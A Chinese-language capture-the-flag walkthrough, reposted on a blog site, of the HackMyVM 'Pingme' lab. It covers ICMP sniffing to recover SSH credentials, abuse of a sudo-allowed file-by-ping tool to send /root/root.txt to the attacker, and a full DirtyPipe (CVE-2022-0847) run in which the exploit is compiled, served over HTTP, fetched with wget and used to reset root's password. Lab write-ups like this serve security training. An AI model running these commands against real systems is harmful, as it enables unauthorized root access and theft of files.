渗透测试练习No.55 CVE-2022-0847-DirtyPipe提权 HackMyVm Pingme

2023-10-25 03:10

本文主要是介绍渗透测试练习No.55 CVE-2022-0847-DirtyPipe提权 HackMyVm Pingme,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

image-20220222190922934

靶机信息

下载地址:

https://hackmyvm.eu/machines/machine.php?vm=Pingme
网盘链接:https://pan.baidu.com/s/1MYO7cEOg2xou1FrC40v6qg?pwd=ja7r 

靶场: HackMyVm.eu

靶机名称: Pingme

难度: 中等

发布时间: 2022年3月9日

提示信息:

目标: user.txt和root.txt

实验环境

攻击机:VMware kali 10.0.0.3靶机:Vbox linux IP自动获取

信息收集

扫描主机

扫描局域网内的靶机IP地址

sudo nmap -sP 10.0.0.3/24

image-20220309220313665

扫描到主机地址为10.0.0.106

扫描端口

扫描靶机开放的服务端口

sudo nmap -sC -sV -p- 10.0.0.106 -oN nmap.log

image-20220309220601229

扫描到22端口和80端口开放,先访问80端口看看

Web渗透

http://10.0.0.106

image-20220309220955183

image-20220311190556807

打开后发现首页显示的是Ping命令的结果,网站获取了访问者的ip,并在后台执行了ping命令。源码中提示了icmp包传输并让我们去其他地方看看,这里除了80端口就只有22端口,也看不到其他什么内容,按照提示看看icmp包里传输了什么

1。攻击机上开启tcpdump抓icmp包并保存

sudo tcpdump -i eth1 icmp -w icmp

image-20220311192349867

2。访问页面,让后台执行Ping命令

image-20220311192244028

3。执行完成后在攻击机上手动Ctrl+c结果抓包,

image-20220311191826740

4。使用wireshark加载包查看传输内容

wireshark icmp

image-20220311192756562

image-20220311192826796

可以看到两次传输的包内有username和pasword内容,查看每个包的内容(只看request包即可)

image-20220311195154443

image-20220311202125722

拿到用户名pinger和密码(密码在另外2个包内),现在去登录SSH

ssh pinger@10.0.0.106

image-20220311195544483

登录成功,搜集下主机中的敏感信息

ls
cat user.txt

image-20220311200304876

拿到user.txt,继续找

sudo -l

image-20220311195650157

发现可以使用root身份去执行sendfilebyping命令,先看看这个程序是做什么的

/usr/local/sbin/sendfilebyping

image-20220311200031990

这个程序是使用ping命令来传输文件,我们试试

1。攻击机打开tcpdump抓icmp包并输出为file.pacpng

sudo tcpdump -i eth1 icmp -w file.pacpng

image-20220311202957031

2。靶机上执行sendfilebyping命令,这里试着猜测/root/目录下有一个root.txt文件

sudo /usr/local/sbin/sendfilebyping 10.0.0.3 /root/root.txt

image-20220311203208802

一共发了21个包,现在手动关闭攻击机上的tcpdump,再使用wireshark打开file.pacpng文件

Ctrl+c
wireshark file.pacpng

image-20220311203400853

image-20220311204023215

image-20220311204112386

image-20220311204136825

image-20220311204157646

每个包中包含了flag的一个字符,将这些包内的字符拼接到一起就是完整的root.txt了。

CVE-2022-0847-DirtyPipe提权

在我收集主机信息时发现内核版本存在CVE-2022-0847-DirtyPipe漏洞,尝试复现这个漏洞

下载exp

git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git

image-20220312011003777

下载完成开始编译

cd CVE-2022-0847-DirtyPipe-Exploit
ls
chmdo +x compile.sh
./compile.sh
ls

image-20220312011557788

编译完成,现在将他上传到靶机中执行。

1。攻击机上开启HTTP服务

python3 -m http.server

image-20220312012157929

2。靶机下载exp添加可执行权限并执行

cd /tmp
wget http://10.0.0.3:8000/exploit
chmod +x exploit
./exploit

image-20220312012630423

提示找不到GLIBC_2.33,原因是攻击机上的GLIBC是高版本的,对靶机上的版本检查只有2.30这个版本,随后我从其他低版本的机器上编译了exp并上传到了靶机上。

./exp

image-20220312013503885

image-20220312013709799

根据提示,exp修改了passwd文件中的root密码,修改后的密码为aaron,验证一下

su root

image-20220312013742401

提权成功,来看下flag

cd /root
ls
cat root.txt

image-20220312013830125

拿到root.txt,游戏结束。
在这里插入图片描述
公众号二维码

这篇关于渗透测试练习No.55 CVE-2022-0847-DirtyPipe提权 HackMyVm Pingme的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:https://blog.csdn.net/hljzzj/article/details/123440426
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/279622

相关文章

SpringBoot中整合RabbitMQ(测试+部署上线最新完整)的过程

《SpringBoot中整合RabbitMQ(测试+部署上线最新完整)的过程》本文详细介绍了如何在虚拟机和宝塔面板中安装RabbitMQ,并使用Java代码实现消息的发送和接收,通过异步通讯,可以优化... 目录一、RabbitMQ安装二、启动RabbitMQ三、javascript编写Java代码1、引入

Nginx设置连接超时并进行测试的方法步骤

《Nginx设置连接超时并进行测试的方法步骤》在高并发场景下,如果客户端与服务器的连接长时间未响应,会占用大量的系统资源,影响其他正常请求的处理效率,为了解决这个问题,可以通过设置Nginx的连接... 目录设置连接超时目的操作步骤测试连接超时测试方法:总结:设置连接超时目的设置客户端与服务器之间的连接

如何测试计算机的内存是否存在问题? 判断电脑内存故障的多种方法

《如何测试计算机的内存是否存在问题?判断电脑内存故障的多种方法》内存是电脑中非常重要的组件之一,如果内存出现故障,可能会导致电脑出现各种问题,如蓝屏、死机、程序崩溃等,如何判断内存是否出现故障呢?下... 如果你的电脑是崩溃、冻结还是不稳定,那么它的内存可能有问题。要进行检查,你可以使用Windows 11

性能测试介绍

性能测试是一种测试方法,旨在评估系统、应用程序或组件在现实场景中的性能表现和可靠性。它通常用于衡量系统在不同负载条件下的响应时间、吞吐量、资源利用率、稳定性和可扩展性等关键指标。 为什么要进行性能测试 通过性能测试,可以确定系统是否能够满足预期的性能要求,找出性能瓶颈和潜在的问题,并进行优化和调整。 发现性能瓶颈:性能测试可以帮助发现系统的性能瓶颈,即系统在高负载或高并发情况下可能出现的问题

字节面试 | 如何测试RocketMQ、RocketMQ?

字节面试:RocketMQ是怎么测试的呢? 答: 首先保证消息的消费正确、设计逆向用例,在验证消息内容为空等情况时的消费正确性; 推送大批量MQ,通过Admin控制台查看MQ消费的情况,是否出现消费假死、TPS是否正常等等问题。(上述都是临场发挥,但是RocketMQ真正的测试点,还真的需要探讨) 01 先了解RocketMQ 作为测试也是要简单了解RocketMQ。简单来说,就是一个分

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

RabbitMQ练习(AMQP 0-9-1 Overview)

1、What is AMQP 0-9-1 AMQP 0-9-1(高级消息队列协议)是一种网络协议,它允许遵从该协议的客户端(Publisher或者Consumer)应用程序与遵从该协议的消息中间件代理(Broker,如RabbitMQ)进行通信。 AMQP 0-9-1模型的核心概念包括消息发布者(producers/publisher)、消息(messages)、交换机(exchanges)、

【Rust练习】12.枚举

练习题来自:https://practice-zh.course.rs/compound-types/enum.html 1 // 修复错误enum Number {Zero,One,Two,}enum Number1 {Zero = 0,One,Two,}// C语言风格的枚举定义enum Number2 {Zero = 0.0,One = 1.0,Two = 2.0,}fn m

MySql 事务练习

事务(transaction) -- 事务 transaction-- 事务是一组操作的集合,是一个不可分割的工作单位,事务会将所有的操作作为一个整体一起向系统提交或撤销请求-- 事务的操作要么同时成功,要么同时失败-- MySql的事务默认是自动提交的,当执行一个DML语句,MySql会立即自动隐式提交事务-- 常见案例:银行转账-- 逻辑:A给B转账1000:1.查询